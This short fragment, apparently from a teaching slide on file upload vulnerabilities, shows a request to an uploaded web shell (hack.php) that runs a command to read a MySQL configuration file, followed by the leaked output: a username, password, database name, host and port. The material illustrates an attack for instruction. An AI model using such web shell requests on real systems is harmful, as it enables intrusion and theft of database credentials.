File Upload Vulnerabilities

A hacker
cdn.example.com/1a2fe/hack.php?cmd=cat+/etc/mysql/my.cnf
[client]
user=admin
password=04bf68c99cf4cc23d034d10a8a612549
db_name=2479fd9059d6d57dd5521c69dc0ba359
host=ec6-115--153.compute-26.amazonaws.com
port=2323

[mysql]
no-auto-rehash
connect_timeout=3